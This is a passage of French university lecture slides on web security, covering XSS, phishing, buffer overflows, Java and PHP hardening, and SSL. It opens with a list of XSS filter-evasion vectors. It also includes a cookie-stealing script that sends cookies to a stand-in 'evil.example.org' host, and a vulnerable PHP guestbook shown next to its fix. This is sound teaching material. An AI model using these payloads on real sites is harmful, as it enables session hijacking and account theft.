<div style="background−image: url(javascript:[code]);"><div style="behaviour: url([link to code]);"> [IE]<div style="binding: url([link to code]);"> [Mozilla]<div style="width: expression([code]);"> [IE]<style type="text/javascript">[code]</style> [N4]<object classid="clsid:..." codebase="javascript:[code]"> [IE]<style><!−−</style><script>[code]//−−></script><!−− −− −−><script>[code]</script><!−− −− −−><<script>[code]</script><img src="blah"onmouseover="[code]"><img src="blah>" onmouseover="[code]"><xml src="javascript:[code]"><xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml><div datafld="b" dataformatas="html" datasrc="#X"></div>[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF−8; IE, Opera]<![CDATA[<!−−]] ><script>[code]//−−></script>

Page 77: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

77

Htmlfilter http://linux.duke.edu/projects/mini/htmlfilter/

Programme PHP de filtrage

Page 78: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

78

Phishing (Hameçonnage)◦ Amener l’internaute sur un site web usurpé◦ Soutirer des informations confidentielles

En France◦ Fin 2004, condamnation d’un étudiant (1 an de

prison et 8500 € d’amende)◦ 40 sites de phishing en France

Voir www.phishing.fr

Page 79: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

79

Un lien est-il sûr ? URIscheme://authority[path][?query][#fragment] Authority :[username[:password]@]host[:portnumber]

Page 80: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

80

Exemple :http://www.ibm.com/[email protected]

Interdire les user/password Limiter l’usage de ports exotiques Comme pour HTML, mise en place de

filtres !

Page 81: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

81

Dépassement de tampon Buffer : espace mémoire alloué pour des

besoins temporaires Espace mémoire = taille finie Dépassement de cette taille peut permettre

de prendre le contrôle de l’application

Page 82: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

82

Risques réels :◦ Netscape 4 : prise de contrôle à distance◦ Windows NT : longueur des mots de passe◦ Internet Explorer : redirection vers des pages non

demandées (distribution de virus, vers, backdoor, etc.)

Page 83: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

83

Pose problème surtout en C/C++ Peu de problèmes en Java Si programmation en C/C++ :

◦ Utilisation de librairies spécifiques (libsafe)◦ Utilisation d’outils de compilation spécifiques

(StackGuard, ProPolice)

Page 84: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

84

Génération de code HTML à partir d’entrées utilisateur

Exemples :◦ Guestbook◦ Commentaires de sites◦ Etc.

Page 85: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

85

Un attaquant envoie du code malveillant sur site web

Le site web publie ce code Ce code est lu par la victime qui croit être

sur un site “sûr” Problème de confiance !

Page 86: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

86

Source : Chris Shiflett, http://shiflett.org/talks/apachecon2003/

Page 87: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

87

Exemple : Vol de cookie <script>document.location ='http://evil.example.org/steal-cookies.php'+ '?cookies=' + document.cookie </script>

Page 88: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

88

Exemple : Mais qu’est-ce que ça fait ? <form action="<? echo $PHP_SELF; ?>"><input type="text" name="message"><input type="submit"></form><?if (!empty($_GET['message'])){    $fp = fopen('./messages.txt', 'a');    fwrite($fp, "{$_GET['message']}<br>");    fclose($fp);}readfile('./messages.txt');?>

Page 89: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

89

Solutions : Filtrer les entrées d’un site

◦ Conversion de caractères◦ Appliquer la règle de base de la sécurité : “Tout

ce qui n’est pas autorisé est interdit.”◦ Interdire les messages board ? :-)

Page 90: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

90

htmlentities() : Convertit tous les caractères éligibles en entités HTML

strip_tags() : Supprime les balises HTML et PHP d'une chaîne

utf8_decode() : Convertit une chaîne UTF-8 en ISO-8859

Page 91: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

91

<form action="<? echo $PHP_SELF; ?>"><input type="text" name="message"><input type="submit"></form><?

if (!empty($_GET['message'])){    $fp = fopen('./safer.txt', 'a');    $msg = htmlentities($_GET['message']);    fwrite($fp, "$msg<br>");    fclose($fp);}readfile('./safer.txt');

?>

Page 92: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

92

Langage relativement sûr de base Sécurité en Java repose essentiellement sur

les questions d’héritage

Page 93: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

93

Enfonçons quelques portes ouvertes ensemble :◦ Pas de variables en public -> private◦ Pas de méthodes en public -> private pour

empêcher la réception de données malveillantes◦ Classes et méthodes doivent être terminales

(final)

Page 94: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

94

Encore :◦ Classes non sérialisablesprivate final void writeObject(ObjectOutputStream out)throws java.io.IOException {throw new java.io.IOException("Object cannot be serialized");}

◦ Classes non désérialisablesprivate final void readObject(ObjectInputStream in)throws java.io.IOException {throw new java.io.IOException("Class cannot be deserialized");}

Page 95: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

95

Mauvaise image au niveau sécurité Provient principalement de raisons

historiques plus ou moins anciennes Au début (avant 4.1) pas beaucoup de

préoccupations sécuritaires PHP est jeune -> 1995 PHP a été créé de manière anarchique

Page 96: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

96

Problèmes dans la gestion des variables◦ Partage du même espace de nommage de toutes

les variables◦ Initialisation par défaut

Possibilité de contrôler (lecture et écriture) la valeur de toutes les variables

Page 97: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

97

Exemple :<?php

if ($pass == "hello")

$auth = 1;

...

... <- Modification de $auth par un attaquant !

...

if ($auth == 1)

echo "some important information";

?>

Page 98: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

98

Solution : Utiliser au moins PHP 4.1.0

◦ register_globals Off

Page 99: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

99

PHP mutualisé (fournisseur d’accès) Apache en serveur web Différents utilisateurs, différents scripts,

mêmes droits ! + simple est d’utiliser le safe mode

Page 100: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

100

Quand appel à fopen() :◦ Vérification du propriétaire du script◦ Correspondance propriétaire du fichier

Commandes limitées ◦safe_mode_exec_dir

Variables environnement ◦safe_mode_allowed_env_vars

Page 101: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

101

Modification des variables d’environnement◦ safe_mode_protected_env_vars◦ putenv() modifie uniquement les variables PHP_

Fonctions interdites◦ disable_functions (dl, symlink, virtual, etc.)

Page 102: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

102

Nom Par défaut Modifiable

safe_mode "0" PHP_INI_SYSTEM

safe_mode_gid "0" PHP_INI_SYSTEM

safe_mode_include_dir NULL PHP_INI_SYSTEM

safe_mode_exec_dir "" PHP_INI_SYSTEM

safe_mode_allowed_env_vars PHP_ PHP_INI_SYSTEM

safe_mode_protected_env_vars LD_LIBRARY_PATH PHP_INI_SYSTEM

open_basedir NULL PHP_INI_SYSTEM

disable_functions "" PHP_INI_SYSTEM

disable_classes “” PHP_INI_SYSTEM

Page 103: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

103

Lister l’arborescence des fichiers◦ Fixer un open_basedir

Page 104: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

104

suPHP ◦ Module apache (mod_suphp)◦ Exécutable (suPHP)

Permet d’exécuter les scripts PHP avec les droits de l’utilisateur

Page 105: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

105

Plus besoin du safe mode, donc plus de restrictions au niveau du PHP

suPHP doit avoir les droits root…

Page 106: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

106

Supprimer l’utilisation de certaines commandes dans php.ini avec disable_functions

Limiter les droits sur le système de fichier (noexec)

Page 107: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

107

http est basé sur des échanges de messages texte en clair

Problème lors de l’échange de données sensibles◦ Carte de crédit◦ Mots de passe

Page 108: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

108

Utilisation d’un port séparé : 443 Cryptage de tous les échanges avec SSL Utilisation d’une clé de 128bits Proposé par Netscape, en 1996 tentative de

contre par Microsoft et STT

Page 109: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

109

Installation :◦ Apache◦ Mod_ssl◦ Openssl

… et ça marche ! Voir http://www.modssl.org